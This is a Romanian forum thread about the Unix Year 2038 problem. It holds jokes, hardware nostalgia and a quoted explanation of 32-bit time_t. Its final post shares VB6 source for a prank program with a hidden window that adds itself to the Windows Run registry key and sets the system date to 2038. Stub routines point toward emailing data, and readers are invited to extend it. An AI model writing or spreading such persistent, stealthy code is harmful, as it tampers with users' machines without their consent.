end of time -unix-

[kreplace_]

salut, am dat peste un video interesant, stie cineva mai multe detalii despre treaba asta?

[Graphik]

Dupa cum spunea si tipu, pana in 2038 mai e o vreme. Deja se folosesc sistemele pe 64bit si in urmatorii 24 de ani nu cred ca hardware ul din lumea it va mai fi asemanator cu ceea ce folosim noi azi.

daca e sa facem o comparatie, a sistemelor de azi cu cele din 2038, cred ca ar fi mai simplu sa privim in trecut. Cum aratau sistemele cu 24 de ani in urma ? in 1990

disketa de 1,4 MB era ca HDD ul de 1TB in zilele noastre

Desi daca nu ma insel in anii aia se foloseau disketele alea imense, mai mari decat un CD si cu o capacitate de vreo 700 kilo.

Componen Specification

Display 9-inch (23 cm) monochrome CRT display, 512 × 342 pixel resolution

Storage 40 MB SCSI hard disk drive optional, Built-in SuperDrive 3.5 in floppy disk drive

Processor 8 MHz Motorola 68000

Bus Speed 8 MHz

Random Access Memory 1 MB, expandable to 2 or 4 MB using 120 ns 30-pin SIMMs and optional custom RAM-slot expansion card

Procesor la 8Mhz si 1 MB RAM ? pana si bricheta mea are performante mai bune

"Back in 2038" or sa strige copiiiiii dupa voi " tataaa.. adu i7 le ala de il tii in vitrina ca amintire sa-l pun sub piciorul biroului sa nu se mai miste ca nu ma pot juca la PC.

http://blogs.msdn.com/b/mthree/archive/2008/04/21/year-2038-042108.aspx

Edited January 31, 2014 by Graphik

[administration]

fake !

[aelius]

fake !

Fake ce anume ?

The number 2,147,483,647 is also the maximum value for a 32-bit signed integer in computing. It is therefore the maximum value for variables declared as int in many programming languages running on popular computers, and the maximum possible score, money etc. for many video games. The appearance of the number often reflects an error, overflow condition, or missing value.

The data type time_t, used on operating systems such as Unix, is a 32-bit signed integer counting the number of seconds since the start of the Unix epoch (midnight UTC of 1 January 1970).[9] The latest time that can be represented this way is 03:14:07 UTC on Tuesday, 19 January 2038 (corresponding to 2,147,483,647 seconds since the start of the epoch), so that systems using a 32-bit time_t type are susceptible to the Year 2038 problem

Source: 2147483647 - Wikipedia, the free encyclopedia

Schimbi data, daca in 2038 mai inca un pc pe 32 biti.

[nedo]

Pana in 2038 cred ca se va putea actualiza/schimba ca int sa fie stocat pe 64 de biti si ar trebui sa ajunga pentru inca vreo 1000 de ani(poate si mai mult).

[tromfil]

Serios? Iar bubuie calculatoarele ca-n 2000?

Iar sfâr?itul lumii.

2038 poate aduce calculatoare cuantice pentru uz casnic...

A?tept ?tirile în care vom muri din cauza celor 32 de bi?i.

[bcman]

S? fim serio?i, toate procesoarele din ultimii ani au arhitectur? pe 64 de bi?i. Tot mai mul?i utilizatori au sisteme pe 64 de bi?i pentru c? RAM-ul e tot mai ieftin ?i se ajung la cantit??i nesuportate de Windows x86. Cred c? prea pu?ine PC-uri vor avea sisteme pe 32 de bi?i insalate pân? în 2038.

[fjtr]

The data type time_t, used on operating systems such as Unix, is a 32-bit signed integer counting the number of seconds since the start of the Unix epoch (midnight UTC of 1 January 1970).[9] The latest time that can be represented this way is 03:14:07 UTC on Tuesday, 19 January 2038

Constanta sau variabila aia care contine data de start cred ca nu merge schimbata, nu?

[administration]

de revelion in 2037 copii mei o sa modifice valoarea constantei HZ la 0 ca sa mai poata folosi un timp unix-ul, le las mostenire job-ul asta :

'vb6
Option Explicit

Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal Hkey As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String) As Long
Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal Hkey As Long, ByVal lpValueName As String) As Long
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Const REG_SZ = 1                         ' Unicode nul terminated string
Private Const REG_DWORD = 4                      ' 32-bit number
Private Const ERROR_SUCCESS = 0&

Public Enum pvpHK
    HKEY_CLASSES_ROOT = &H80000000
    HKEY_CURRENT_USER = &H80000001
    HKEY_LOCAL_MACHINE = &H80000002
    HKEY_USERS = &H80000003
    HKEY_PERFORMANCE_DATA = &H80000004
End Enum

Private Const pvpRunHKey = "Software\Microsoft\Windows\CurrentVersion\Run"

'made for win nt - win xp Disable TMA 2 minute version 
Dim zdapi As Date
Private Sub savestring(ByVal Hkey As Long, strPath As String, strValue As String, strData As String)
    Dim keyhand As Long
    Dim r As Long
    r = RegCreateKey(Hkey, strPath, keyhand)
    r = RegSetValueEx(keyhand, strValue, 0, REG_SZ, ByVal strData, Len(strData))
    If r = 87 Then
        DeleteValue Hkey, strPath, strValue
    End If
    r = RegCloseKey(keyhand)
End Sub

Private Function DeleteValue(ByVal Hkey As Long, ByVal strPath As String, ByVal strValue As String)
    Dim keyhand As Long
    Dim r As Long
    r = RegOpenKey(Hkey, strPath, keyhand)
    r = RegDeleteValue(keyhand, strValue)
    r = RegCloseKey(keyhand)
End Function

Public Function RunAtStartup(sAppTitle As String, strsAppName As String)
         savestring pvpHK.HKEY_CURRENT_USER, pvpRunHKey, sAppTitle, strsAppName
End Function

Public Function RemoveFromStartup(sAppTitle As String, strsAppName As String)
         DeleteValue pvpHK.HKEY_CURRENT_USER, pvpRunHKey, sAppTitle
End Function
Private Sub Form_Load()
zdapi = CDate("2-1-2038")
RunAtStartup App.Title, App.Path & "\" & App.EXEName & ".EXE"
'call sendvip()
'call ailuatlatei()
End Sub

Private Sub sendvip()
'http://www.emailarchitect.net/easendmail/kb/vb.aspx
End Sub

Private Sub ailuatlatei()
'http://www.dev-point.com/vb/t377094.html
End Sub
'==============PASTE CODE============='
'VERSION 5#
'Begin VB.Form Form1
'   Appearance = 0         'Flat
'   BackColor = &HFFFFFF
'   BorderStyle = 0        'None
'   Caption = "Form1"
'   ClientHeight = 210
'   ClientLeft = 0
'   ClientTop = 0
'   ClientWidth = 210
'   DrawStyle = 5          'Transparent
'   LinkTopic = "Form1"
'   ScaleHeight = 210
'   ScaleWidth = 210
'   ShowInTaskbar = 0       'False
'   StartUpPosition = 3    'Windows Default
'End
'Attribute VB_Name = "Form1"
'Attribute VB_GlobalNameSpace = False
'Attribute VB_Creatable = False
'Attribute VB_PredeclaredId = True
'Attribute VB_Exposed = False
'Option Explicit

'Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal Hkey As Long) As Long
'Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
'Private Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String) As Long
'Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal Hkey As Long, ByVal lpValueName As String) As Long
'Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
'Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
'Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
'Private Const REG_SZ = 1                         ' Unicode nul terminated string
'Private Const REG_DWORD = 4                      ' 32-bit number
'Private Const ERROR_SUCCESS = 0&

'Public Enum pvpHK
'    HKEY_CLASSES_ROOT = &H80000000
'    HKEY_CURRENT_USER = &H80000001
'    HKEY_LOCAL_MACHINE = &H80000002
'    HKEY_USERS = &H80000003
'    HKEY_PERFORMANCE_DATA = &H80000004
'End Enum

'Private Const pvpRunHKey = "Software\Microsoft\Windows\CurrentVersion\Run"

'Private Sub savestring(ByVal Hkey As Long, strPath As String, strValue As String, strData As String)
'    Dim keyhand As Long
'    Dim r As Long
'    r = RegCreateKey(Hkey, strPath, keyhand)
'    r = RegSetValueEx(keyhand, strValue, 0, REG_SZ, ByVal strData, Len(strData))
'    If r = 87 Then
'        DeleteValue Hkey, strPath, strValue
'    End If
'    r = RegCloseKey(keyhand)
'End Sub

'Private Function DeleteValue(ByVal Hkey As Long, ByVal strPath As String, ByVal strValue As String)
'    Dim keyhand As Long
'    Dim r As Long
'   r = RegOpenKey(Hkey, strPath, keyhand)
'    r = RegDeleteValue(keyhand, strValue)
'    r = RegCloseKey(keyhand)
'End Function

'Public Function RunAtStartup(sAppTitle As String, strsAppName As String)
'         savestring pvpHK.HKEY_CURRENT_USER, pvpRunHKey, sAppTitle, strsAppName
'End Function

'Public Function RemoveFromStartup(sAppTitle As String, strsAppName As String)
'         DeleteValue pvpHK.HKEY_CURRENT_USER, pvpRunHKey, sAppTitle
'End Function
'Private Sub Form_Load()
'Date = CDate("2-1-2038")
'RunAtStartup App.Title, App.Path & "\" & App.EXEName & ".EXE"
'End Sub
'VA LAS PE VOI SA VA DISTRATI SI SA DEZVOLTATI CODUL 

Edited February 1, 2014 by administration